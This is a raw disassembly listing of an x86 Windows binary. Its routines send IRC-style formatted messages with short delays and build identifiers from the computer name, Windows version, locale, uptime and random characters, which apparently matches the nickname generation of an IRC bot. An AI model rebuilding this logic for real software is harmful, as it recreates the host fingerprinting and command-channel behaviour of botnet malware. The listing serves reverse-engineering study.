loc_410477:				; CODE XREF: sub_41045A+7j
		test	esi, esi
		jnz	short loc_410463
		jmp	short loc_41048C
; ---------------------------------------------------------------------------


loc_41047D:				; CODE XREF: sub_41045A+18j
		push	edi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		call	dword ptr [esi+4]
		add	esp, 0Ch


loc_41048C:				; CODE XREF: sub_41045A+21j
		pop	edi
		pop	esi
		retn	0Ch
sub_41045A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410491	proc near		; CODE XREF: start:loc_4010DDp
					; sub_401408:loc_401449p ...

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_4220C0
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi+4], 0
		jnz	short loc_4104AD
		xor	eax, eax
		inc	eax
		jmp	short loc_4104F3
; ---------------------------------------------------------------------------


loc_4104AD:				; CODE XREF: sub_410491+15j
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_1000]
		push	[ebp+arg_8]
		push	1000h
		push	eax
		call	sub_423640
		lea	eax, [ebp+var_1000]
		push	eax
		push	[ebp+arg_4]
		push	offset dword_43C080
		push	offset aSSS	; "%s %s :%s\r\n"
		push	dword ptr [esi]
		push	esi
		call	sub_40FBDB
		add	esp, 28h
		mov	esi, eax
		push	1F4h
		call	dword_42F15C	; Sleep
		mov	eax, esi


loc_4104F3:				; CODE XREF: sub_410491+1Aj
		pop	esi
		leave
		retn
sub_410491	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4104F6	proc near		; CODE XREF: start:loc_4010D6p
					; sub_401408+37p ...

var_FE8		= byte ptr -0FE8h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0FE8h
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi+4], 0
		jnz	short loc_41050E
		xor	eax, eax
		inc	eax
		jmp	short loc_410554
; ---------------------------------------------------------------------------


loc_41050E:				; CODE XREF: sub_4104F6+11j
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_FE8]
		push	[ebp+arg_8]
		push	0FE6h
		push	eax
		call	sub_423640
		lea	eax, [ebp+var_FE8]
		push	eax
		push	[ebp+arg_4]
		push	offset dword_43C078
		push	offset aSSS_0	; "%s %s : %s\r\n"
		push	dword ptr [esi]
		push	esi
		call	sub_40FBDB
		add	esp, 28h
		mov	esi, eax
		push	1F4h
		call	dword_42F15C	; Sleep
		mov	eax, esi


loc_410554:				; CODE XREF: sub_4104F6+16j
		pop	esi
		leave
		retn
sub_4104F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410557	proc near		; CODE XREF: sub_403B2C+2228p

var_FE8		= byte ptr -0FE8h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0FE8h
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi+4], 0
		jnz	short loc_41056F
		xor	eax, eax
		inc	eax
		jmp	short loc_4105B5
; ---------------------------------------------------------------------------


loc_41056F:				; CODE XREF: sub_410557+11j
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_FE8]
		push	[ebp+arg_8]
		push	0FE6h
		push	eax
		call	sub_423640
		lea	eax, [ebp+var_FE8]
		push	eax
		push	[ebp+arg_4]
		push	offset dword_43C078
		push	offset dword_438878
		push	dword ptr [esi]
		push	esi
		call	sub_40FBDB
		add	esp, 28h
		mov	esi, eax
		push	1F4h
		call	dword_42F15C	; Sleep
		mov	eax, esi


loc_4105B5:				; CODE XREF: sub_410557+16j
		pop	esi
		leave
		retn
sub_410557	endp


; =============== S U B	R O U T	I N E =======================================



sub_4105B8	proc near		; CODE XREF: sub_403B2C+1B15p
					; sub_403B2C+1D62p ...

arg_0		= dword	ptr  4

		cmp	byte ptr [ecx+4], 0
		jnz	short loc_4105C3
		xor	eax, eax
		inc	eax
		jmp	short locret_4105DC
; ---------------------------------------------------------------------------


loc_4105C3:				; CODE XREF: sub_4105B8+4j
		push	[esp+arg_0]
		push	offset dword_43C0B0
		push	offset aSS	; "%s %s\r\n"
		push	dword ptr [ecx]
		push	ecx
		call	sub_40FBDB
		add	esp, 14h

locret_4105DC:				; CODE XREF: sub_4105B8+9j
		retn	4
sub_4105B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4105DF	proc near		; CODE XREF: sub_416208+438p
					; sub_416208+59Fp ...

var_FE8		= byte ptr -0FE8h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0FE8h
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi+4], 0
		jz	short loc_410636
		lea	eax, [ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_FE8]
		push	[ebp+arg_C]
		push	0FE6h
		push	eax
		call	sub_423640
		add	esp, 10h
		cmp	[ebp+arg_8], 0
		jz	short loc_41063B
		lea	eax, [ebp+var_FE8]
		push	eax
		call	sub_4240A0
		pop	ecx
		push	eax
		push	[ebp+arg_8]
		call	sub_4240A0
		pop	ecx
		push	eax
		call	sub_41F2BB
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41063B


loc_410636:				; CODE XREF: sub_4105DF+11j
		xor	eax, eax
		inc	eax
		jmp	short loc_410669
; ---------------------------------------------------------------------------


loc_41063B:				; CODE XREF: sub_4105DF+32j
					; sub_4105DF+55j
		lea	eax, [ebp+var_FE8]
		push	eax
		push	[ebp+arg_4]
		push	offset dword_43C078
		push	offset aSSS_0	; "%s %s : %s\r\n"
		push	dword ptr [esi]
		push	esi
		call	sub_40FBDB
		add	esp, 18h
		mov	esi, eax
		push	1F4h
		call	dword_42F15C	; Sleep
		mov	eax, esi


loc_410669:				; CODE XREF: sub_4105DF+5Aj
		pop	esi
		leave
		retn
sub_4105DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41066C	proc near		; CODE XREF: sub_416208:loc_416647p
					; sub_416208:loc_4167AEp ...

var_FE8		= byte ptr -0FE8h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0FE8h
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi+4], 0
		jz	short loc_4106C3
		lea	eax, [ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_FE8]
		push	[ebp+arg_C]
		push	0FE6h
		push	eax
		call	sub_423640
		add	esp, 10h
		cmp	[ebp+arg_8], 0
		jz	short loc_4106C8
		lea	eax, [ebp+var_FE8]
		push	eax
		call	sub_4240A0
		pop	ecx
		push	eax
		push	[ebp+arg_8]
		call	sub_4240A0
		pop	ecx
		push	eax
		call	sub_41F2BB
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4106C8


loc_4106C3:				; CODE XREF: sub_41066C+11j
		xor	eax, eax
		inc	eax
		jmp	short loc_4106F6
; ---------------------------------------------------------------------------


loc_4106C8:				; CODE XREF: sub_41066C+32j
					; sub_41066C+55j
		lea	eax, [ebp+var_FE8]
		push	eax
		push	[ebp+arg_4]
		push	offset dword_43C080
		push	offset aSSS_0	; "%s %s : %s\r\n"
		push	dword ptr [esi]
		push	esi
		call	sub_40FBDB
		add	esp, 18h
		mov	esi, eax
		push	1F4h
		call	dword_42F15C	; Sleep
		mov	eax, esi


loc_4106F6:				; CODE XREF: sub_41066C+5Aj
		pop	esi
		leave
		retn
sub_41066C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4106F9	proc near		; CODE XREF: sub_419EE6+63p

arg_0		= dword	ptr  4

		cmp	byte ptr [ecx+4], 0
		jnz	short loc_410704
		xor	eax, eax
		inc	eax
		jmp	short locret_41071D
; ---------------------------------------------------------------------------


loc_410704:				; CODE XREF: sub_4106F9+4j
		push	[esp+arg_0]
		push	offset aTf	; "'TF"
		push	offset aSS	; "%s %s\r\n"
		push	dword ptr [ecx]
		push	ecx
		call	sub_40FBDB
		add	esp, 14h

locret_41071D:				; CODE XREF: sub_4106F9+9j
		retn	4
sub_4106F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_410720	proc near		; CODE XREF: sub_403B2C+1B44p
					; sub_40C847+ECp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	byte ptr [ecx+4], 0
		jnz	short loc_41072B
		xor	eax, eax
		inc	eax
		jmp	short locret_410748
; ---------------------------------------------------------------------------


loc_41072B:				; CODE XREF: sub_410720+4j
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset aTf	; "'TF"
		push	offset dword_438890
		push	dword ptr [ecx]
		push	ecx
		call	sub_40FBDB
		add	esp, 18h

locret_410748:				; CODE XREF: sub_410720+9j
		retn	8
sub_410720	endp


; =============== S U B	R O U T	I N E =======================================



sub_41074B	proc near		; CODE XREF: sub_403B2C+1B66p
					; sub_40C847+DFp ...

arg_0		= dword	ptr  4

		cmp	byte ptr [ecx+4], 0
		jnz	short loc_410756
		xor	eax, eax
		inc	eax
		jmp	short locret_41076F
; ---------------------------------------------------------------------------


loc_410756:				; CODE XREF: sub_41074B+4j
		push	[esp+arg_0]
		push	offset aZ_0	; "=Z]"
		push	offset aSS	; "%s %s\r\n"
		push	dword ptr [ecx]
		push	ecx
		call	sub_40FBDB
		add	esp, 14h

locret_41076F:				; CODE XREF: sub_41074B+9j
		retn	4
sub_41074B	endp


; =============== S U B	R O U T	I N E =======================================



sub_410772	proc near		; CODE XREF: sub_403B2C+1C02p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	byte ptr [eax+4], 0
		jnz	short loc_410780
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_410780:				; CODE XREF: sub_410772+8j
		push	[esp+arg_4]
		push	offset aS_4	; "%s\r\n"
		push	dword ptr [eax]
		push	eax
		call	sub_40FBDB
		add	esp, 10h
		retn
sub_410772	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410795	proc near		; CODE XREF: sub_4107E8+14p
					; sub_41A15F+42p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	byte ptr [ecx+4], 0
		jnz	short loc_4107A3
		xor	eax, eax
		inc	eax
		jmp	short loc_4107E4
; ---------------------------------------------------------------------------


loc_4107A3:				; CODE XREF: sub_410795+7j
		cmp	[ebp+arg_8], 0
		jnz	short loc_4107C6
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset dword_43C0A0
		push	offset dword_438890
		push	dword ptr [ecx]
		push	ecx
		call	sub_40FBDB
		add	esp, 18h
		jmp	short loc_4107E4
; ---------------------------------------------------------------------------


loc_4107C6:				; CODE XREF: sub_410795+12j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset dword_43C0A0
		push	offset dword_43889C
		push	dword ptr [ecx]
		push	ecx
		call	sub_40FBDB
		add	esp, 1Ch


loc_4107E4:				; CODE XREF: sub_410795+Cj
					; sub_410795+2Fj
		pop	ebp
		retn	0Ch
sub_410795	endp


; =============== S U B	R O U T	I N E =======================================



sub_4107E8	proc near		; CODE XREF: sub_41A0E6+5Dp

arg_0		= dword	ptr  4

		cmp	byte ptr [ecx+4], 0
		jnz	short loc_4107F3
		xor	eax, eax
		inc	eax
		jmp	short locret_410803
; ---------------------------------------------------------------------------


loc_4107F3:				; CODE XREF: sub_4107E8+4j
		push	0
		push	[esp+4+arg_0]
		push	dword ptr [ecx+8]
		call	sub_410795
		xor	eax, eax

locret_410803:				; CODE XREF: sub_4107E8+9j
		retn	4
sub_4107E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_410806	proc near		; CODE XREF: sub_403B2C+18E3p
					; sub_412267+4DFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	[ecx+2Ch], eax
		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_41081C
		call	sub_41099D
		jmp	short loc_41087A
; ---------------------------------------------------------------------------


loc_41081C:				; CODE XREF: sub_410806+Dj
		cmp	eax, 1
		jnz	short loc_410828
		call	sub_410AB7
		jmp	short loc_41087A
; ---------------------------------------------------------------------------


loc_410828:				; CODE XREF: sub_410806+19j
		cmp	eax, 3
		jnz	short loc_410834
		call	sub_410930
		jmp	short loc_41087A
; ---------------------------------------------------------------------------


loc_410834:				; CODE XREF: sub_410806+25j
		cmp	eax, 4
		jnz	short loc_410840
		call	sub_4108C7
		jmp	short loc_41087A
; ---------------------------------------------------------------------------


loc_410840:				; CODE XREF: sub_410806+31j
		cmp	eax, 2
		jz	short loc_410875
		cmp	eax, 5
		jnz	short loc_410851
		call	sub_410BF1
		jmp	short loc_41087A
; ---------------------------------------------------------------------------


loc_410851:				; CODE XREF: sub_410806+42j
		cmp	eax, 6
		jnz	short loc_41085D
		call	sub_410CB4
		jmp	short loc_41087A
; ---------------------------------------------------------------------------


loc_41085D:				; CODE XREF: sub_410806+4Ej
		cmp	eax, 7
		jnz	short loc_410869
		call	sub_410DDF
		jmp	short loc_41087A
; ---------------------------------------------------------------------------


loc_410869:				; CODE XREF: sub_410806+5Aj
		cmp	eax, 8
		jnz	short loc_410875
		call	sub_410F23
		jmp	short loc_41087A
; ---------------------------------------------------------------------------


loc_410875:				; CODE XREF: sub_410806+3Dj
					; sub_410806+66j
		call	sub_410882


loc_41087A:				; CODE XREF: sub_410806+14j
					; sub_410806+20j ...
		mov	dword_4544A8, eax
		retn	8
sub_410806	endp


; =============== S U B	R O U T	I N E =======================================



sub_410882	proc near		; CODE XREF: sub_410806:loc_410875p
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	ebx, offset byte_4544CC
		push	0
		push	ebx
		mov	edi, ecx
		call	sub_4221F0
		xor	esi, esi
		add	esp, 0Ch
		cmp	[edi+2Ch], esi
		jl	short loc_4108BA


loc_4108A0:				; CODE XREF: sub_410882+36j
		call	sub_4220FC
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	byte_4544CC[esi], dl
		inc	esi
		cmp	esi, [edi+2Ch]
		jle	short loc_4108A0


loc_4108BA:				; CODE XREF: sub_410882+1Cj
		and	byte_4544CC[esi], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_410882	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4108C7	proc near		; CODE XREF: sub_410806+33p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	10h
		mov	esi, offset byte_4544AC
		push	ebx
		push	esi
		call	sub_4221F0
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		push	esi
		call	dword_454354	; GetComputerNameA
		movsx	eax, byte_4544AC
		push	41h
		pop	ecx


loc_4108FC:				; CODE XREF: sub_4108C7+40j
		cmp	eax, ecx
		jnz	short loc_410903
		xor	ebx, ebx
		inc	ebx


loc_410903:				; CODE XREF: sub_4108C7+37j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_4108FC
		push	61h
		pop	ecx


loc_41090C:				; CODE XREF: sub_4108C7+50j
		cmp	eax, ecx
		jnz	short loc_410913
		xor	ebx, ebx
		inc	ebx


loc_410913:				; CODE XREF: sub_4108C7+47j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_41090C
		test	ebx, ebx
		jnz	short loc_41092A
		push	offset aError	; "Error"
		push	esi
		call	sub_422063
		pop	ecx
		pop	ecx


loc_41092A:				; CODE XREF: sub_4108C7+54j
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn
sub_4108C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410930	proc near		; CODE XREF: sub_410806+27p

var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, offset byte_454478
		push	0
		push	esi
		mov	ebx, ecx
		call	sub_4221F0
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	7
		push	800h
		call	dword_42F080	; GetLocaleInfoA
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aS_2	; "%s|"
		push	esi
		call	sub_422063
		push	esi
		call	sub_422120
		add	esp, 10h
		mov	edi, eax
		jmp	short loc_410991
; ---------------------------------------------------------------------------


loc_41097C:				; CODE XREF: sub_410930+64j
		call	sub_4220FC
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 30h
		mov	byte_454478[edi], dl
		inc	edi


loc_410991:				; CODE XREF: sub_410930+4Aj
		cmp	edi, [ebx+2Ch]
		jle	short loc_41097C
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410930	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41099D	proc near		; CODE XREF: sub_410806+Fp

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_88		= dword	ptr -88h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		mov	edi, offset byte_4544DC
		push	esi
		push	edi
		mov	ebx, ecx
		call	sub_4221F0
		add	esp, 0Ch
		lea	eax, [ebp+var_98]
		mov	[ebp+var_98], 94h
		push	eax
		call	dword_42F044	; GetVersionExA
		test	eax, eax
		jz	loc_410A7D
		cmp	[ebp+var_94], 4
		jnz	short loc_410A2F
		cmp	[ebp+var_90], esi
		jnz	short loc_410A0F
		cmp	[ebp+var_88], 1
		mov	eax, offset a95	; "95"
		jz	short loc_4109FF
		mov	eax, [ebp+var_4]


loc_4109FF:				; CODE XREF: sub_41099D+5Dj
		cmp	[ebp+var_88], 2
		jnz	short loc_410A82
		mov	eax, offset aNt	; "NT"
		jmp	short loc_410A82
; ---------------------------------------------------------------------------


loc_410A0F:				; CODE XREF: sub_41099D+4Fj
		cmp	[ebp+var_90], 0Ah
		jnz	short loc_410A1F
		mov	eax, offset a98	; "98"
		jmp	short loc_410A82
; ---------------------------------------------------------------------------


loc_410A1F:				; CODE XREF: sub_41099D+79j
		cmp	[ebp+var_90], 5Ah
		jnz	short loc_410A7D
		mov	eax, offset aMe	; "ME"
		jmp	short loc_410A82
; ---------------------------------------------------------------------------


loc_410A2F:				; CODE XREF: sub_41099D+47j
		cmp	[ebp+var_94], 5
		jnz	short loc_410A67
		cmp	[ebp+var_90], esi
		jnz	short loc_410A47
		mov	eax, offset a2k	; "2K"
		jmp	short loc_410A82
; ---------------------------------------------------------------------------


loc_410A47:				; CODE XREF: sub_41099D+A1j
		cmp	[ebp+var_90], 1
		jnz	short loc_410A57
		mov	eax, offset aXp	; "XP"
		jmp	short loc_410A82
; ---------------------------------------------------------------------------


loc_410A57:				; CODE XREF: sub_41099D+B1j
		cmp	[ebp+var_90], 2
		jnz	short loc_410A7D
		mov	eax, offset a2k3 ; "2K3"
		jmp	short loc_410A82
; ---------------------------------------------------------------------------


loc_410A67:				; CODE XREF: sub_41099D+99j
		cmp	[ebp+var_94], 6
		jnz	short loc_410A7D
		cmp	[ebp+var_90], esi
		mov	eax, offset aVista ; "Vista"
		jz	short loc_410A82


loc_410A7D:				; CODE XREF: sub_41099D+3Aj
					; sub_41099D+89j ...
		mov	eax, offset off_4388B8


loc_410A82:				; CODE XREF: sub_41099D+69j
					; sub_41099D+70j ...
		push	eax
		push	edi
		call	sub_422063
		push	edi
		call	sub_422120
		add	esp, 0Ch
		mov	esi, eax
		jmp	short loc_410AAB
; ---------------------------------------------------------------------------


loc_410A96:				; CODE XREF: sub_41099D+111j
		call	sub_4220FC
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 30h
		mov	byte_4544DC[esi], dl
		inc	esi


loc_410AAB:				; CODE XREF: sub_41099D+F7j
		cmp	esi, [ebx+2Ch]
		jle	short loc_410A96
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41099D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410AB7	proc near		; CODE XREF: sub_410806+1Bp

var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_98		= dword	ptr -98h
var_14		= byte ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0A8h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		mov	esi, offset dword_4544EC
		push	edi
		push	esi
		call	sub_4221F0
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	7
		push	800h
		call	dword_42F080	; GetLocaleInfoA
		lea	eax, [ebp+var_A8]
		mov	[ebp+var_A8], 94h
		push	eax
		call	dword_42F044	; GetVersionExA
		push	0Ah
		test	eax, eax
		pop	ebx
		jz	loc_410BAA
		cmp	[ebp+var_A4], 4
		jnz	short loc_410B5C
		cmp	[ebp+var_A0], edi
		jnz	short loc_410B3D
		cmp	[ebp+var_98], 1
		mov	edi, offset a95	; "95"
		jz	short loc_410B2D
		mov	edi, [ebp+var_4]


loc_410B2D:				; CODE XREF: sub_410AB7+71j
		cmp	[ebp+var_98], 2
		jnz	short loc_410BAF
		mov	edi, offset aNt	; "NT"
		jmp	short loc_410BAF
; ---------------------------------------------------------------------------


loc_410B3D:				; CODE XREF: sub_410AB7+63j
		cmp	[ebp+var_A0], ebx
		jnz	short loc_410B4C
		mov	edi, offset a98	; "98"
		jmp	short loc_410BAF
; ---------------------------------------------------------------------------


loc_410B4C:				; CODE XREF: sub_410AB7+8Cj
		cmp	[ebp+var_A0], 5Ah
		jnz	short loc_410BAA
		mov	edi, offset aMe	; "ME"
		jmp	short loc_410BAF
; ---------------------------------------------------------------------------


loc_410B5C:				; CODE XREF: sub_410AB7+5Bj
		cmp	[ebp+var_A4], 5
		jnz	short loc_410B94
		cmp	[ebp+var_A0], edi
		jnz	short loc_410B74
		mov	edi, offset a2k	; "2K"
		jmp	short loc_410BAF
; ---------------------------------------------------------------------------


loc_410B74:				; CODE XREF: sub_410AB7+B4j
		cmp	[ebp+var_A0], 1
		jnz	short loc_410B84
		mov	edi, offset aXp	; "XP"
		jmp	short loc_410BAF
; ---------------------------------------------------------------------------


loc_410B84:				; CODE XREF: sub_410AB7+C4j
		cmp	[ebp+var_A0], 2
		jnz	short loc_410BAA
		mov	edi, offset a2k3 ; "2K3"
		jmp	short loc_410BAF
; ---------------------------------------------------------------------------


loc_410B94:				; CODE XREF: sub_410AB7+ACj
		cmp	[ebp+var_A4], 6
		jnz	short loc_410BAA
		cmp	[ebp+var_A0], edi
		mov	edi, offset aVista ; "Vista"
		jz	short loc_410BAF


loc_410BAA:				; CODE XREF: sub_410AB7+4Ej
					; sub_410AB7+9Cj ...
		mov	edi, offset off_4388B8


loc_410BAF:				; CODE XREF: sub_410AB7+7Dj
					; sub_410AB7+84j ...
		call	sub_4220FC
		cdq
		mov	ecx, ebx
		idiv	ecx
		add	edx, 30h
		push	edx
		call	sub_4220FC
		cdq
		mov	ecx, ebx
		idiv	ecx
		add	edx, 30h
		push	edx
		call	sub_4220FC
		cdq
		idiv	ebx
		lea	eax, [ebp+var_14]
		add	edx, 30h
		push	edx
		push	edi
		push	eax
		push	offset aSSCCC	; "%s|%s|%c%c%c"
		push	esi
		call	sub_422063
		add	esp, 1Ch
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410AB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410BF1	proc near		; CODE XREF: sub_410806+44p

var_18		= byte ptr -18h
var_8		= dword	ptr -8
var_2		= byte ptr -2

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	10h
		mov	esi, offset dword_4544FC
		push	ebx
		push	esi
		mov	edi, ecx
		call	sub_4221F0
		add	esp, 0Ch
		mov	ecx, edi
		mov	[edi+34h], ebx
		mov	[edi+38h], ebx
		mov	[edi+3Ch], ebx
		call	sub_41101E
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	7
		push	800h
		call	dword_42F080	; GetLocaleInfoA
		push	[ebp+var_8]
		push	esi
		call	sub_423270
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	sub_423270
		push	offset asc_4388F4 ; "|"
		push	esi
		call	sub_423270
		xor	eax, eax
		add	esp, 18h
		inc	eax
		cmp	[edi+34h], ebx
		jz	short loc_410C61
		push	2
		pop	eax


loc_410C61:				; CODE XREF: sub_410BF1+6Bj
		cmp	[edi+38h], ebx
		jz	short loc_410C67
		inc	eax


loc_410C67:				; CODE XREF: sub_410BF1+73j
		cmp	[edi+3Ch], ebx
		jz	short loc_410C6D
		inc	eax


loc_410C6D:				; CODE XREF: sub_410BF1+79j
		push	5
		pop	edi
		cmp	eax, edi
		jge	short loc_410CA0
		sub	edi, eax


loc_410C76:				; CODE XREF: sub_410BF1+ADj
		call	sub_4220FC
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [ebp+var_2]
		push	edx
		push	offset aI_1	; "%i"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_2]
		push	eax
		push	esi
		call	sub_423270
		add	esp, 14h
		dec	edi
		jnz	short loc_410C76


loc_410CA0:				; CODE XREF: sub_410BF1+81j
		push	offset asc_4388F4 ; "|"
		push	esi
		call	sub_423270
		pop	ecx
		mov	eax, esi
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410BF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CB4	proc near		; CODE XREF: sub_410806+50p

var_4C		= byte ptr -4Ch
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	ebx, offset dword_454488
		push	0
		push	ebx
		call	sub_4221F0
		add	esp, 0Ch
		call	dword_42F164	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		mov	[ebp+var_C], eax
		call	sub_4220FC
		push	1Ah
		mov	esi, offset aAbcdefghijklmn ; "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLM"...
		cdq
		pop	ecx
		lea	edi, [ebp+var_4C]
		idiv	ecx
		push	10h
		pop	ecx
		rep movsd
		add	dl, 61h
		mov	[ebp+var_8], dl
		call	sub_4220FC
		push	24h
		pop	esi
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_4C]
		mov	[ebp+var_7], al
		call	sub_4220FC
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_4C]
		mov	[ebp+var_6], al
		call	sub_4220FC
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_4C]
		mov	[ebp+var_5], al
		call	sub_4220FC
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_4C]
		mov	[ebp+var_4], al
		call	sub_4220FC
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_4C]
		mov	[ebp+var_3], al
		call	sub_4220FC
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_4C]
		mov	[ebp+var_2], al
		call	sub_4220FC
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_4C]
		mov	[ebp+var_1], al
		call	sub_4220FC
		cdq
		idiv	esi
		mov	dl, [ebp+edx+var_4C]
		movsx	eax, dl
		push	eax
		movsx	eax, [ebp+var_1]
		push	eax
		movsx	eax, [ebp+var_2]
		push	eax
		movsx	eax, [ebp+var_3]
		push	eax
		cmp	[ebp+var_C], 5
		movsx	eax, [ebp+var_4]
		push	eax
		movsx	eax, [ebp+var_5]
		push	eax
		movsx	eax, [ebp+var_6]
		push	eax
		movsx	eax, [ebp+var_7]
		push	eax
		movsx	eax, [ebp+var_8]
		push	eax
		jbe	short loc_410DCA
		push	[ebp+var_C]
		push	offset aDCCCCCCCCC ; "|%d|%c%c%c%c%c%c%c%c%c"
		push	ebx
		call	sub_422063
		add	esp, 30h
		jmp	short loc_410DD8
; ---------------------------------------------------------------------------


loc_410DCA:				; CODE XREF: sub_410CB4+101j
		push	offset aCCCCCCCCC ; "%c%c%c%c%c%c%c%c%c"
		push	ebx
		call	sub_422063
		add	esp, 2Ch


loc_410DD8:				; CODE XREF: sub_410CB4+114j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		leave
		retn
sub_410CB4	endp


; =============== S U B	R O U T	I N E =======================================

